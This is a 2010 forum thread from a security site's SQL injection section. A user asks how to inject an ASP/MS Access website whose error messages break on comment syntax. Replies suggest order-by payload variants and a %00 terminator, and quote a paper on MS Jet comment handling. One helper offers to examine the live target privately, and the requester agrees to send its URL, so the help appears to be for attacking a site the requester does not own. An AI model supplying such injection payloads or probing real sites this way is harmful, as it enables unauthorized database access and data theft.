|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 128
Members: 0
Total: 128
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Missing Operator in query error. |
|
Posted: Sun Feb 21, 2010 4:29 pm |
|
|
dasatti |
Regular user |
|
|
Joined: Dec 03, 2009 |
Posts: 9 |
Location: Pakistan |
|
|
|
|
|
|
Hi,
I am trying to inject an ASP site and it gives missing operator error whenever I insert sql comments in the injection.
Code: | site.com/default.asp?cid=1+order+by+1+-- |
and
Code: | site.com/default.asp?cid=1+order+by+1+/* |
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression '1 --'.
and
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression '1 /*'.
When I try
Code: | site.com/default.asp?cid=1+order+by+1+# |
it gives following error.
[Microsoft][ODBC Microsoft Access Driver] Syntax error in ORDER BY clause.
The query used at the backend is like
Code: | CategoryID=1[SQL_INJ] ORDER BY ProductName |
Can any body tell me what is the problem, why it gives error on comments in query? How could I find out number of columns.
Thanks |
|
|
|
|
|
|
|
|
Posted: Sun Feb 21, 2010 5:26 pm |
|
|
vince213333 |
Advanced user |
|
|
Joined: Aug 03, 2009 |
Posts: 737 |
Location: Belgium |
|
|
|
|
|
|
Try
Code: | site.com/default.asp?cid=1+order+by+1-- |
Without the space before --
Or Code: | site.com/default.asp?cid=1+order+by+1'-- |
Mess around a bit and you'll be fine.
If you want, pm me the url of the site and I'll have a look |
|
|
|
|
Posted: Tue Feb 23, 2010 4:18 pm |
|
|
dasatti |
Regular user |
|
|
Joined: Dec 03, 2009 |
Posts: 9 |
Location: Pakistan |
|
|
|
|
|
|
Hi vince,
Thnakyou for your help. tried that but no success. I will pm you the url.
thanks |
|
|
|
|
|
|
|
|
Posted: Tue Feb 23, 2010 5:22 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
http://www.insomniasec.com/publications/Access-Through-Access.pdf
Quote: |
Comments
MS Jet does not natively support comments, either inline or line termination. We have seen reports that %00 can be used as a syntax terminator, but we have not been able to reproduce this scenario. We have however noticed the following strange behaviour which can be useful during the creation of a valid SQL statement. Query: SELECT * FROM users WHERE username ='' UNION SELECT 1, 2, FROM <ValidTableName>’ and password='' or field=’’ and field=’’ The previous SQL statement has one single quote after the supplied table name. If this query is made using MS Access then an error is raised <Invalid Bracketing Of Name>. MS Jet appears to disregard this error and will return the result if the first portion of the query. For this to work the following field comparisons have to be empty, so it cannot be relied on as a method of syntax termination.
|
So you have to try %00 trick or make it work without comments. |
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|